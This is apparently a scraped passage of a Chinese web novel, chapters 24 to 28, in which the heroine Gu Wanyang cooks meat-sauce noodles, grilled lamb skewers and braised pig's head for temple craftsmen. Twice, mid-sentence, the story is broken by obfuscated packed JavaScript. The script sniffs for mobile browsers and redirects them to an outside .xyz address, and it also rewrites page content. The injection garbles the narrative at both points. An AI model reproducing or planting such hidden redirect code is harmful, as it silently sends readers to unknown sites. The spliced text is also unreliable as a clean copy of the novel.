“姑娘，买点羊肉吗？今日羊肉很新鲜呐！” 就在顾宛央犹豫到底买什么食材的时候，羊肉摊的摊主喊住了她。 顾宛央驻足，仔细地看过去，确实羊肉非常新鲜，只是价格不便宜，顾宛央犹豫了一会，还是挑了一块羊腿肉买了下来。 回到文庙小院的时候已经时间不早了，顾宛央赶紧将羊肉清洗干净后切成小块，加入料酒、盐、酱油、孜然粉以及少许白糖，将调料和羊肉充分揉捏在一起，使得调料味道渗入羊肉中去。 李瑾修在小厨房门口看着顾宛央忙活，心中呐喊终于舍得买羊肉了！但面上却一点不显，羊肉固然好吃美味，但顾宛央做的其他便宜食材的美食也相当好吃，千万不能影响她的自由发挥。 等顾宛央把羊肉腌制好，再和了一盆面让它慢慢发酵，然后关照了李瑾修等会收一下送来的货，就立马带着小桃去了膳堂，该准备晚饭了。 中午被工匠吐槽肉太少，晚上的肉酱面一定得做的让他们满意才行！ 让顾宛央意外的是，尹多已经早早等候在了膳堂，一见她进来，立马上来打招呼：“顾姑娘，需要我做些什么？” “晚上做肉酱面，你帮我把肉剁成肉末，不要太碎，需要一些颗粒感。”顾宛央不在意尹多的态度，只要能干活就行。 “好嘞！”尹多得了吩咐，欢快地去干活了。 顾宛央摇摇头，这小伙子真的是喜怒都形于色，太不稳重了。 “宛央姐，我，我，我，我要干嘛？”小桃忙举手问道。 “小桃你来帮我一起和面。”顾宛央说道。 要做三十多人的量，和面是个辛苦活，不过有小桃帮忙就好多了。 顾宛央和小桃一人和一盆面，小桃虽在家也做过面条，但毕竟是桂花婶教的还有自己瞎琢磨的，但在这里就不能按照她的做法来了。 小桃按照顾宛央的吩咐，一边少量加水一边揉着面粉，多次少量地加水的揉，使得面粉会更加筋道。 小桃做起事情来非常认真，她心里明白这是宛央姐在教她厨艺，不仅能赚钱还能学厨艺，这是多少人梦寐以求的事情，想到这里她越发专注地揉起面来。 尹多一边剁肉，一边侧耳听着顾宛央对小桃和面的指导，师傅也教过他和面，顾宛央的做法跟师傅教的差不多，甚至更加详细，不由收起了还剩那么一丁 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尹多站起身来，目不转睛地看着灶台上的大锅，此时不学更待何时。 顾宛央也不介意别人看她怎么做，再说尹多是帮厨，也不能喊他出去，而且就算是配料配方和做法都一样，不同的人做出来的味道还是有区别的，况且她会做的东西太多了，区区肉酱不值一提。 等肉色一变，顾宛央迅速将蒜末葱白末扔进锅中爆香，翻炒几十下后，加入料酒、黄豆酱、酱油、盐和少许白糖，将调味料与肉末充分混合后，再加入清水熬煮。 锅中肉酱已经慢慢成型，尹多闻着味看着锅中颜色，不由自主地咽了口口水。 顾宛央吩咐尹多将灶火调成中火，锅中咕嘟咕嘟冒着小泡泡，顾宛央用大锅铲慢慢翻炒，防止肉酱粘锅。 等锅中水分慢慢收干，顾宛央将事先备好的一小碗淀粉水倒了进去，淀粉水融入锅中的肉末，肉酱变得粘稠起来，顾宛央加快了翻炒的速度。 尹多正专心看着锅中的肉酱，就听得顾宛央一声：“灭火，快。” 这道声音虽轻柔但却有力，尹多不由自主地立刻执行，将灶火灭得干干净净。 顾宛央将锅中肉酱盛入盆中，并在表面撒上翠绿色的葱花，热腾喷香的肉酱便制作完成，这时的工匠也已经下工，顾宛央马上吩咐小桃开始烧水下面条。 当尹多将肉酱端出厨房的时候，正在膳堂等候的工匠们一拥而上，盯着这盆肉酱狂咽口水。 厨房里的顾宛央也是把四个灶台都用了起来，四口大锅同时下面条，拿着一双长筷子，在四口锅中来回搅拌，等到面条煮好，马上让小桃灭了灶火，开始盛面条。 一碗一碗下好的面条被小桃端出厨房，尹多负责在面条上浇上一勺肉酱，一碗热气腾腾的肉酱面便流水线般地到了工匠的手中。 25. 第 25 章 工匠们的晚餐哪里吃到过荤腥，晚餐后不用做工，所以一般都是阳春面打发了事，虽然中午就知道了晚上会有肉酱，但那时只是平息了中午肉丝太少的怒气，倒也没有多大的期待。 等到晚上进了膳堂，看到一大盆酱色的肉酱，那香味直击天灵盖，大伙这才躁动起来。 “嘿，真香啊！” “还真别说，新来的顾姑娘厨艺不错啊。” “对啊对啊，中午两个小菜炒的那个味道真叫好呢！” “今天晚上这肉酱看着也不错哦。” “面条呢？啥时候能吃啊？” 尹多也被面前的肉酱馋的不行，只盼着快点吧饭打完，他也好尝尝这碗肉酱面的味道，他开口说道：“面条正在煮，马上就好，大家稍安勿躁，我去厨房端出来。” 尹多走进厨房，等在灶台边，顾宛央和小桃将煮好的面条一碗一碗捞出来，尹多麻利地端着托盘把面条送出来，然后每碗面条上浇上一勺肉酱，工匠们自动排好队，先排到的端着面碗就近坐了下来。 程匠师这次排在了最后，中午是因为大家都不肯上前，他才充当了领头羊，晚上看样子不用他带头了，大家都争先恐后地往前排。 “咦，师傅，你怎么在最后，我这碗先给你吃，我再去排队。”丁阿六正美滋滋地端着一碗肉酱面找座位，突然看到他那严厉的师傅板着脸排在队伍的最后面。 “不用，你吃你的。”程匠师摆摆手说道。 “哦。”丁阿六被无情拒绝，捧着碗找座位去了。 程匠师是最后一个拿到肉酱面，旁边的工匠们稀里哗啦嗦面声，还有满屋子的肉香面香，早已让他饥肠辘辘，他端着面碗一坐下来便深深地吸了一口气，不知为何，也许是肉酱的加持，今天的这碗面条格外的香。 浓郁的肉酱平铺在雪白的面条上，程匠师用筷子将面条和肉酱搅拌在一起，使得每根面条都裹上肉酱，变成酱色。 一大口肉酱面送进嘴里，程匠师一双浓眉不由地挑了起来，面条筋道不粘牙，肉酱咸鲜并且肉末是带着颗粒感的，口感丰富有嚼劲，吃这样的面条真是享受啊！ 程匠师坐下的时候，工匠已经都在埋头苦吃了，整个膳堂安安静静的，全是吸溜面条的声音。 “嚯，好香啊！”徐工师的声音出现在膳堂门口。 顾宛央正准备简单吃一点面条就回小院的，听到徐工师的声音，赶忙从厨房迎了出来。 “徐工师，您来了。”顾宛央说道。 “是啊，今天是你第一天上工，我来看看怎么样，本来中午就应该来的，有事耽搁了，拖到现在才来。”徐工师说道。 “大家伙吃的怎样啊？”徐工师一边示意站起来迎接他的工匠们坐下继续吃，一边问道。 “好吃！” “不错！” “真香！” 还有些工匠舍不得开口，一边埋头苦吃，一边高高地举起大拇指。 徐工师见到大家这个反应，顿时放下心来，笑眯眯地对顾宛央说道：“顾姑娘，不错啊，已经得到工匠们的认可了。” “徐工师过奖了。”顾宛央虽然很有自信做好，但能这么快得到大家认可也是非常高兴的。 “晚上这是吃的什么？”徐工师闻着香味，忍不住问道。 “徐工师，是肉酱面。”尹多端着碗站在顾宛央的身后，他刚吃了两口听到徐工师来了，也赶紧跑出来，但不舍得手中的面条，于是把碗也端出来了。 徐工师仔细瞧着尹多手中的面碗，点头说道：“看着很不错，味道怎么样？” 尹多下意识地护了一下食，反应过来觉得有些不妥，把碗往徐工师面前递了递，说道：“味道很好，只是这碗面我已经吃过了。” 徐工师摆手道：“我只是问问而已，你吃，你吃。” “徐工师，您稍候。”顾宛央见此情形赶紧说道。 顾宛央忙跑进厨房端出自己那碗还没来得及吃的面条来。 “徐工师，您尝这碗，还没动过。”顾宛央连筷子带碗地递了过去。 “好，好。”徐工师接过面碗，尝试新来厨子做的饭食，也是他的工作之一，他并未推辞。 徐工师坐了下来，将面条搅拌均匀，搅拌的时候散发出来的香味更加扑鼻，他挑起一大筷子面条吃了起来。 一口面条下肚，抬头看着顾宛央，由衷地夸道：“如此美味，怪不得大家都吃得这么专注。” 顾宛央得到徐工师的夸赞，不由笑了起来，大家喜欢就好。 “诶，宛央姐，这是最后一碗面条了，你没得吃了。”小桃的声音从厨房门口响起来，她刚刚沉浸在面条的美味了，后知后觉地发现顾宛央把最后一碗面条给了别人吃。 正打算吃第二口的徐工师愣了一下，这口面条就尴尬地夹在面前，吃也不是不吃也不是。 “小桃，别多嘴。”顾宛央说道，这孩子嘴太快了。 “本来就是嘛，你说不要浪费，做的面条正正好好我们都吃完的，再多一碗都没有了。”小桃辩解道。 “啊，对不住啊，顾姑娘，我不知道这是最后一碗面条了。”徐工师放下筷子说道。 “无妨的，徐工师，等会我还要给弟弟做吃的，我可以跟他一起吃。”顾宛央忙说道。 “哦？对，你说过要照顾受伤弟弟的，他已经过来了吗？”徐工师听到顾宛央这么说，马上又重新拿起了筷子。 “是，已经来了，多谢徐工师让他也住在小院里。”顾宛央真心地道谢。 “不必客气，不妨碍你做工就行。”徐工师说完，忍不住又炫了一口面条进去。 “一定不会影响的，徐工师请放心。”顾宛央说道。 “嗯，好，一会你回小院要做什么吃呢？”徐工师随口一问。 被问到晚上做什么，顾宛央犹豫了一下，要不要实话相告，就在这时，小桃又快人快语地开了口：“宛央姐买了羊肉腌着呢。” 顾宛央阻止不及，只能点头。 一听到羊肉，不仅工匠们都抬起了头，徐工师也停下了筷子，说道：“羊 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不远处的小院安静地坐落着，红墙黛瓦很是好看，不愧是大受官府重视的文庙，连一处小院都建的这么好。 小院里李瑾修已经进厨房很多次了，顾宛央没说这羊肉怎么做法，只是细细地腌制了一下午，想必已经入味了吧。 羊肉他是经常吃的，涮羊肉、红烧羊肉、小炒羊肉、白切羊肉、炙羊肉，各种做法他都吃过，羊肉对他来说只是日常的食物而已，但他今日却对厨房的羊肉有着特别期待，不知顾姑娘做出来的羊肉会是什么味道呢。 小院的门嘎吱一声响了，李瑾修反应神速地拄着棍子迎了出来。 “你的腿好像恢复了不少，可以走得这样快了。”顾宛央随口说道。 “也不算恢复好了，走多了还是腿疼。”李瑾修速度一下就慢了下来，说道。 “那你多躺躺，别老是乱溜达。”顾宛央也不戳破他，顺着话说道。 “好。”李瑾修自然是满口答应，然后又开口问道：“可以做饭了吗？” “这就做了。”顾宛央答完话，开始忙活起来。 她先进厨房看了一眼腌羊肉，再闻了一下，满意地点点头，羊肉非常好，这些时辰也够入味了。 顾宛央环顾一圈，顿时心生一个想法，她将小炉子拎了出来，今日户外温度适宜，不如在院子里炙烤羊肉，通风透气也不会把小厨房搞得烟雾缭绕。 李瑾修见顾宛央把炉子都搬出来了，不由地问道：“这是要做什么？” “炙烤羊肉！”顾宛央边搬东西边说道。 李瑾修一听，脸上的笑容藏都藏不住，炙烤羊肉是他最喜欢的做法了，他没指望居然会在这里能吃到。 顾宛央将小炉子的火生了起来，炙烤羊肉不能用旺火，得把柴火烧得差不多后，熄灭旺火变成炭火慢慢烤。 趁着小炉子的柴火烧成碳的时间，顾宛央把下午和好的面团拿出来准备先做烤饼，炙烤羊肉配上烤饼，那简直就是绝配了！ 26. 第 26 章 白白胖胖的面团被顾宛央一把捞出，扔到案板上，准备开始做饼坯子。 将面团切成几份，每一份都揉成长条状，再切成小块，烤饼可以储存，所以顾宛央索性多做一些，饿的时候也可以充当干粮。 一个个的小面团在顾宛央的手下，被快速做成饼坯子，没多久一大盆面团便成了一个个掌心大小的饼坯子。 小桃还没回来，顾宛央自己动手开始生灶火，同样的，灶火不能旺，用小火才不会把饼烤糊了。 生完灶火，顾宛央将饼坯子贴在铁锅上，等着饼子慢慢烤熟，趁这功夫，她将腌制好的羊肉用竹签串了起来。 小院里的小炉子柴火已经从旺火慢慢变成了炭火，这时小桃回来了，已经闻到了厨房飘出来的饼香味。 顾宛央正将第一锅烤饼盛出来，见到小桃进来厨房，便开口说道：“小桃，你来的正好，还剩一锅饼你来烤。” “好嘞。”刚刚吃饱的小桃走过来，看到新鲜出炉的烤饼，顿时感觉又饿了。 刚出锅的烤饼金黄焦脆，散发着经过烤制过的面香味。 “小桃，看着火，用小火慢慢烤，两面烤至这样的色泽便可盛出来。”顾宛央拿起一个烤好的饼展示道。 这些烤饼是用来自己吃的，正好给小桃练练手，就算烤的不好也没关系。 小桃点点头，看着顾宛央掰了一小块饼放进嘴里，她听见顾宛央嘴里咯吱咯吱的声音，忍不住伸手说道：“宛央姐，给我掰点尝尝吧。” “那么大一碗肉酱面你还没吃饱吗？”顾宛央诧异地问道，不过问归问，手上还是马上掰了一小块饼递给小桃。 小桃来不及答话，把烤饼塞进嘴里，恩，新鲜出炉的烤饼就是香脆，一咬就酥了，一酥就更香了。 等到嘴里的烤饼咽下，小桃这才答道：“吃饱了，就是嘴馋，嘿嘿。” 顾宛央无奈一笑，不过孩子长身体，多吃点没事，于是说道：“我去小院炙羊肉，你还想吃烤饼就自己拿着吃，别吃撑就行。” 小桃一听到炙羊肉，顿时把伸向烤饼的手放了下来，说实话她的肚子已经没有多大容量了，不能让烤饼把最后一点肚子填满了。 顾宛央哪里会不晓得小桃的小心思，她笑了笑便出了厨房，端了一盘烤饼出来，来到院子打算开始炙烤羊肉。 李瑾修已经搬了几个小凳子，坐在了小炉子的旁边。顾宛央指了指盘中的烤饼，问道：“先来点垫垫肚子吗？” 李瑾修立马摇头，说道：“不用，我等炙羊肉好了，再一起吃饼。” 顾宛央点点头，嗯，会吃，那样搭配是最好吃的！ 顾宛央将需要用到的东西都搬了出来，放在一张矮桌上，再把小厨房现成有的炙烤架子也拿了出来，她就是因为看到小厨房有架子才想着做炙烤羊肉的。 等所有东西全部都摆好，小院子里俨然好像在户外烧烤的样子，今日的月亮又大又亮，旁边还点着几盏油灯。顾宛央记起上一世经常和朋友到野外烧烤，那时候的日子是多么地快乐。 “宛央姑娘，需要我做些什么吗？”李瑾修见顾宛央微微有些发呆，主动说道。 “哦，不用，你坐着休息就行。”顾宛央回过神来说道。 往事如烟，再想也没啥用处，还不如过好当下，解决一下口腹之欲。 顾宛央将小炉子里的碳火调整了一下，然后把事先串好的羊肉串拿了出来，仔细地放在烤架上。 烤架被炉火一烤已经开始传导热量，羊肉串放上去便发出轻微的滋滋声响来，肉串开始慢慢变色。 等到羊肉串的一面全部变色后，顾宛央马上翻了一面继续炙烤，她的所有注意力全在烤肉上，微微的火光映衬着她的脸，显得格外的专注。 李瑾修双手撑着下巴，目光在肉串和顾宛央脸上来回打转，闻着羊肉串渐渐散发出来的香味，又被轻柔的春风包裹着，让他有种岁月静好的感觉。 随着时间慢慢的推移，火炉上的羊肉串正在发生质的变化，顾宛央加快了羊肉串的翻面，已经有油脂慢慢地滴落，滴到炉火上便是一声轻响，诱人的香味扑鼻而来。 羊肉串的表面已经呈金黄色，丰富的油脂让肉串表面微微冒着白色小泡泡，李瑾修的目光已经完全被眼前的羊肉串所吸引，他不由地舔了舔嘴唇，这得有多好吃啊！ 随着羊肉串的渐渐烤熟，顾宛央也更加专注，只见她快速地翻动羊肉串，就怕翻动不及时哪一块就烧焦了。 直至炉火上的烤羊肉串已经微微焦黄，顾宛央这才快速撒上孜然粉和辣椒粉，迅速收起来放置在一旁事先准备好的盘子里。 “可以吃了。”顾宛央示意李瑾修道。 李瑾修两眼放光，拿起一串羊肉串，还不忘先递给顾宛央，说道：“宛央姑娘辛苦了，你先来。” 顾宛央也不跟他客气，此时她的肚子也正饿的咕咕叫，她接过羊肉串就咬了一口，嗯，羊肉外焦里嫩，一口下去满嘴的鲜香，孜然和辣椒粉恰到好处，顾宛央对自己首回在古代炙烤羊肉串非常满意。 给顾宛央递完羊肉串，李瑾修还不忘朝厨房喊了一声：“小桃，炙烤羊肉串好啦，快来吃。” 说完，马上拿起一串羊肉串，迫不及待地吃了起来。 羊肉串刚刚烤好，表面还滋滋地冒着小泡泡，李瑾修咬了一大口下去，把瘦肉和油脂一起吃进了嘴里，味蕾接触到羊肉的一刹那，李瑾修整个人都快飘起来了，这也太好吃了吧！ 瘦肉紧实但很柔嫩，油脂简直就是羊肉串神一般的存在，吃在嘴里鲜味已经沁入身体了。 孜然味让羊肉串的味道层次更加丰富，撒的辣椒粉使得肉串有微辣的口感，更加增添了口味，羊肉表面微微有些焦脆，一口咬上去更加酥香。 李瑾修和顾宛央沉浸在美味的炙烤羊肉里，就听得小桃在厨房里喊：“我在烤饼要看着火候，不能离开厨房，给我留一串。” 顾宛央笑了起来，不容易，这馋嘴猫竟然还能守住一个厨子的职业操守，不放下正在做的烤饼跑出来吃羊肉串。 顾宛央拿起一串羊肉串，起身往厨房给小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837630|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃送去。 小桃见顾宛央给自己送来了羊肉串，顿时欣喜不已，她接过肉串卡卡就咬了一口。 小桃的表情从期待变成了惊喜，她的眼神看向顾宛央，嘴里有食物说不了话，她只能连连点头，等一口羊肉下肚，才开口连声说道：“好吃好吃好吃！” 顾宛央噗嗤一声笑出来，说道：“你慢点吃，也不怕烫着嘴。” “不怕不怕，这个温度刚刚好。”小桃又咬了一口肉串，还不忘关注锅中的烤饼。 顾宛央往锅中一瞧，烤饼已经翻过一面了，看已经烤好的这一面，小桃是严格按照第一锅烤饼的颜色来烤，顾宛央不由暗自赞叹，看来小桃是个好苗子，可以好好教她。 “你配着烤饼一起吃，味道更好，你先吃着，如果还能吃得下的话再喊我，我继续去烤一炉。”顾宛央说道。 “够了够了，不能再吃了。”小桃连忙摆手，把这串肉再加上一个烤饼吃完，她的肚子就再也塞不下东西了。 顾宛央点点头，转身走出厨房，继续烤肉去。 李瑾修正把烤饼掰开，把羊肉串往烤饼中间一放，用烤饼直接把肉串撸了下来，变成了烤饼陷。 见顾宛央走过来，李瑾修讨好地把夹好的饼递了过去说道：“这样吃，更美味，你试试。” 顾宛央接过羊肉夹饼，点头说道：“你很会吃嘛。” 受到表扬的李瑾修不由嘿嘿笑了起来，但又不敢太骄傲，说道：“一般一般。” 顾宛央咬了一口羊肉夹饼，烤饼的酥脆配上羊肉的鲜香，那可真是太美味了！ “怎么样？好吃嘛？”李瑾修在一旁问道。 “很好吃！”顾宛央不吝表达赞美之语，只因确实很美味。 得到肯定，李瑾修脸上有一丝笑意，他给自己也夹了一个饼，细细地品尝起来。 两人相对无言地沉浸在美味中，只闻的轻轻的咀嚼声。 “嗐！”李瑾修突然发出一声轻微的几不可闻的叹息来。 “怎么了？”顾宛央敏锐地问道，只因太安静，一点动静都逃不过她的耳朵。 “啊？”李瑾修这才反应过来自己在叹息，忙道：“没事没事，我只是在想，这么好的美食，若是有美酒相伴，那岂不是人间美事！” “哦？你爱喝酒？”顾宛央问道。 “倒也不是，只是看到今日夜色这么好，又有美食，便想起来以往喝的菊花酿，便有此一叹。”李瑾修解释道。 舅母最擅酿制菊花酿，微甜而不腻、清香醇厚，他是最爱这种口味了，只不过他那宠妻如命的舅父不让舅母多劳作，每年他都得去舅父家中死缠烂打才能得小小一坛。 “原来如此。”顾宛央点头，不是酗酒就行，菊花酿属于果酒之类，甜甜的一点都不上头，她也是很爱这种口味的酒。 此时不是菊花的季节，不过山上桃花开得正好，倒是可以试一试做个桃花酿，顾宛央看了一眼正为喝不到菊花酿而无比惆怅的李瑾修，若是桃花酿能让这位爷满意，那该开价多少银子呢！ 27. 第 27 章 第二天，顾宛央出完早摊回来，文庙公厨的供货商就早早地把食材送了过来。 “啊！这是什么呀！”尹多的叫声传遍了公厨膳堂。 “这么大声干什么!”顾宛央双手捂了捂耳朵，都快被震聋了。 供货商有些不知所措，看了看顾宛央，对尹多说道：“这是顾姑娘昨天列的食材清单，特意吩咐要早些送到的。” “周管事，多谢你了，这是明天要送的食材，麻烦您收好！”顾宛央不管在一旁发愣的尹多，微笑着掏出一张单子递过去。 “好，好，明天我也会早些送来的。”周管事接过单子，态度老好地说道。 “嗯。”顾宛央点点头。 等周管事离开膳堂，尹多立马跑到顾宛央跟前，大声抗议道：“你这订什么食材，这东西能吃吗？” “有何不能吃的，我今天就做给你们尝尝。”顾宛央撇了他一眼说道。 小桃见到食材后也在一旁呆立发愣，不过她依旧站在顾宛央这边，对尹多吼道：“你凶什么凶，不就是大猪头嘛，有什么不能吃的！我宛央姐做出来的东西都好吃！” 顾宛央赞赏地看了小桃一眼，她知道这年代不吃猪头肉，小桃怕是也没见过这东西做食材的，但小桃站她的表现还是顿时心中一暖。 “小桃说得对，你没吃过不代表不能吃，你若是不愿，等会可以不吃。”顾宛央懒得再跟尹多浪费口舌，等她做好了以后，他若是忍得住不吃，倒是敬他是条汉子。 说完，顾宛央招呼着小桃帮忙，把大猪头及其他食材搬进了厨房。 工匠们餐标不高，每天的伙食荤腥见的比较少，昨天周管事送货的时候，顾宛央想着能买既便宜又好吃的食材，她也不清楚这个年代吃不吃猪头肉，所以随意问了一下周管事，听他说不吃这玩意，猪头主要用来供给需要祭祀的地方用，顾宛央顿时拍板让他明天早点送两只大猪头过来，两只大猪头的价格都比昨天那块猪肉要便宜，但肉的分量可就是天差地别了。 别看猪头样子吓人，但却有着补虚养血的功效，卤完再辣炒，味道别提多香了，只是处理起来要费点时间，不过昨日已经跟周管事说好早些送来，时间足够来得及。 小桃主动请缨要来处理大猪头，顾宛央也想着让她锻炼一下，自己告诉她怎么做，让她来动手。 先将猪头劈开，剔除耳圈、淋巴结块、眼角及软骨这些杂物，然后再放到烧烫的铁锅上烙一圈，把杂毛烧除掉，放入清水中反复刮除清洗，去尽杂污血污后，猪头就显得一点都不吓人了，就跟普通的猪肉差不多的样子了。 尹多在厨房门口往里瞧，嘴里还念叨着：“本以为是个靠谱会做饭的，没想到今天就搞了大猪头回来，这怎么吃嘛！” “尹多，把这些配菜和蔬菜洗一下。”顾宛央一边指导着小桃处理猪头，一边对门外的尹多吩咐道。 尹多虽在吐槽，但昨天顾宛央说的话他还是记着了，老老实实地按照吩咐去做了，他知道新来的女厨子虽然年纪比他小，但还真不是好拿捏的，他若是不干活，她指定会给徐工师去告状的。 “小桃，烧一锅水，把清洗好了的猪头肉放进锅中焯水。”顾宛央继续说道。 小桃立马开始烧火，大火烧旺后将干干净净的猪头肉放入清水锅中，开始焯水。 趁着猪头肉焯水的时间，顾宛央另起了一个灶台，等锅烧热后倒入油，将糖倒了进去。 “宛央姐，你这是做什么？”小桃好奇地问道。 “炒个糖色。”顾宛央答道。 尹多在摘菜洗菜呢，听到炒糖色，忍不住把脑袋探了过来。 锅中的糖受到高温以后慢慢融化开来，顾宛央不停用勺子搅拌锅中的糖，慢慢的融化了的糖与油结合到一起，颜色出现了变化。 随着顾宛央的不断搅拌，糖色慢慢浓郁起来，直到糖与油完全融合，变成了酱红色，顾宛央这才盛了出来。 “宛央姐，这是用来做什么的？”小桃一直忍住没开口，直到顾宛央将锅中的东西盛了出来，这才开口问道。 “这都不懂，糖色是为了让食物的颜色更加浓郁好看呗。”尹多在旁边插了一嘴。 顾宛央点点头说道：“没错，一会卤猪头肉要用到。” 一听到猪头肉，尹多又嫌弃地离开了灶台，闷头摘菜洗菜去了。 锅中的猪头肉也已经焯好水，顾宛央让小桃将肉盛出来，重新打了一大锅清水，再将猪头肉放下去。 顾宛央将葱姜、八角、花椒、茴香等等调味料用纱布包起来扎好，扔进锅中，然后加入料酒、酱油、盐以及刚刚炒好的糖色，吩咐小桃烧大火将锅中煮开，再转成小火，盖上锅盖开始慢慢炖煮。 随着时间慢慢的推移，锅中的肉开始散发出香味来，尹多在一旁闻着闻着，已经没有了刚开始的嫌弃表情，但他心中在暗想，这么多香料调料下去，就是烧个鞋底也是香的。 顾宛央掌握着火候，耐心地等待了一个时辰后，终于可以出锅了，她吩咐小桃加大火力，将锅中不多的水分收干。 锅盖一揭开，小桃忍不住地直呼：“好香呢。” “等会炒一下，会更香的。”顾宛央笑着说道，辣炒猪头肉的美味不能她一个人知道。 “我来，我来。”小桃抢着干活，将锅中的猪头肉按照顾宛央的吩咐，用锅铲铲到了案板上。 刚刚出锅的猪头肉色泽红润有光泽，热气带着香气弥漫了整个厨房，连尹多都心中感叹，居然一点腥味和异味都没有，这么的香。 顾宛央拿起刀切了几片猪头肉，捡起一块放入嘴里，嗯，筋道有弹性，是自己想要的熟度，因为等会还要爆炒，所以她没有将猪头肉炖的酥烂。 “宛央姐，宛央姐，给我尝尝，给我尝尝。”小桃见顾宛央尝了起来，忍不住说道。 顾宛央捡了一块肥瘦相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846538|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间的猪头肉片，直接塞进了小桃的嘴里。 “哇，原来猪头肉是这么好吃啊！”小桃一脸的惊讶。 这一切都被尹多看在眼里，他居然忍不住咽了一口口水，但内心还是腹诽，这有什么好吃的，太夸张了吧。 小桃好像知道尹多内心的想法，她眼睛看着尹多，然后又捡了一块肉片，慢动作地送进了嘴里，一边享受地咀嚼一边发出感叹的声音来。 尹多忍住想也去捡一块肉吃的冲动，别扭地把脸转了过去，不看了还不行嘛！ “小桃，你看我怎么切，你照着我样子切就好了。”顾宛央拿起刀准备开始切猪头肉。 小桃用力点头，眼神粘在案板上的猪头肉上。 顾宛央手起刀落，快速地将猪头肉先一切为二，然后再切成均匀的薄片。 小桃学起来很快，她有模有样地跟着顾宛央一起切起猪头肉来。 顾宛央将一块肉切完，转头看向小桃的案板，不由暗自点头，这丫头有点天赋的，切出来的肉均匀干净，一点都不拖泥带水，刀口平整，力度和速度用的都很正确。 顾宛央将剩下的猪头肉就交给小桃去切，自己转头检查起配料和配菜来。 不得不说尹多虽然很呱噪，但他做事情还是仔细利落的，不愧是刘大厨的徒弟，青红辣椒、蒜苗、芹菜都切得整整齐齐，各自摆放在盆中等候备用。 尹多准备完这些配菜，很自觉地又坐在了灶台前，打算开始烧火，这些刚出锅卤好的猪头肉，让他感觉好像并没有想象中那么可怕，这才卤好就这么诱人了，他不禁有些隐隐期待炒完了的猪头肉是会有多好吃呢。 顾宛央对这道菜有着充分的自信，因为她知道是美味，所以她也不在乎现在尹多怎么想，一会就看他能不能忍住不吃就完了。 起锅烧油，顾宛央将青红辣椒和姜蒜末扔进锅中，猪头肉已经做熟了，只需大火快炒，炒出香气和锅气即可。 爆香了姜蒜和辣椒后，顾宛央马上将切好薄片的猪头肉倒了进去，原本就香气逼人的猪头肉，被大火一爆炒，再加上调料的香气，变得更加香了，这种香味不仅仅是震撼嗅觉器官，而是直冲脑海中，让人一时半刻都无法忘记。 顾宛央手执大锅铲快速翻炒锅中的猪头肉，只有筋道弹性的猪头肉才能经得起这样的翻炒，在翻炒的间隙，顾宛央往锅中加入少许酱油、盐和白糖，刚刚卤的口味并不重，现在需要再加入一些调味料。 在翻炒了数十下，等调味料和香味彻底与猪头肉相融合后，顾宛央吩咐小桃将蒜苗和芹菜倒入锅中，继续快速翻炒，炒到蒜苗和芹菜断生，这才让尹多停了灶火，盛出满满两大盆辣炒猪头肉来。 刚刚出锅的辣炒猪头肉，色泽酱红浓郁，又有红的辣椒、青的蒜苗和芹菜点缀，再加上锅气直扑而来，整个看起来让人口水都要流了下来，尹多不由自主地喉结动了一下，天知道他已经咽下去多少口水了！ 28. 第 28 章 “哎呀，什么味道这么香呐？” “顾姑娘又给我们做什么好吃的了！” “这个香味可是从来没闻到过呢。” “赶紧赶紧，进去再说。” 下了工的工匠们，刚走到膳堂门口，就闻到了扑而来的香气，不用多想，肯定是厨房散发出来的，大家七嘴八舌地议论着，加快了脚步冲进膳堂。 顾宛央时间卡得刚刚好，就在众人冲进膳堂的那一刻，热气腾腾的米饭和菜刚端上桌。 “顾姑娘，今天中午做的什么菜？我们在门外就闻到香味了。” “是啊，好想啊。” “咦，这是什么肉，好像从来没见过呢！” 顾宛央和小桃加尹多，手脚麻利地开始流水线打饭菜。 尹多张了张口想说什么，但又默默把嘴闭上了，还是不说啥了，等会怕被打脸。 顾宛央笑道：“大家伙吃了就知道了，吃完我在告诉大家。” 小桃昨天晚上已经被顾宛央拉着秉烛夜谈了好久，知道了出门在外要谨言慎行，要多干活少说话，特别是自己的事情不要多跟陌生人说起，所以也把嘴巴闭的紧紧的，一个字都没漏。 工匠们被香迷糊了，也没人多问了，排在前面打到饭了立马坐下开吃，排在后面还没打到的，伸长脖子看什么时候能够排到自己。 等到给工匠们全部打完，顾宛央和小桃还有尹多这才给自己打了饭菜，也坐下来开始吃饭。 尹多没跟顾宛央和小桃坐一起，他一个人别别扭扭地端着碗跑到了角落的桌子上，顾宛央也没管他，看他样子是不太好意思早上说了猪头不能吃的话，现在又想要吃了。 尹多坐下来后抬头偷瞄了一眼顾宛央坐的方向，发现她已经开始美美地吃了起来，根本没朝他这边看一眼，这才放松下来，把目光投到面前的这碗饭菜上来。 眼前铺在米饭上的一层辣炒猪头肉，分量很大，红、青、酱三色混合在一起，点缀的格外好看，再凑近一闻，只有香味没有半点异味，这不就跟普通的猪肉差不多嘛，甚至还更香一些。 他再也忍不住了，管他什么大猪头，他看到的只有香喷喷的美味，尹多连肉带饭扒了一大口进嘴，嗯，果然被打脸了，这猪头肉真的比普通猪肉还要好吃啊，连皮带筋带肥瘦肉，居然可以再一片肉上呈现，这口感非常丰富，再加上青红辣椒的辣度、芹菜的清香气，跟猪头肉完美地结合在一起，让人吃了一口便欲罢不能，简直不想停下来。 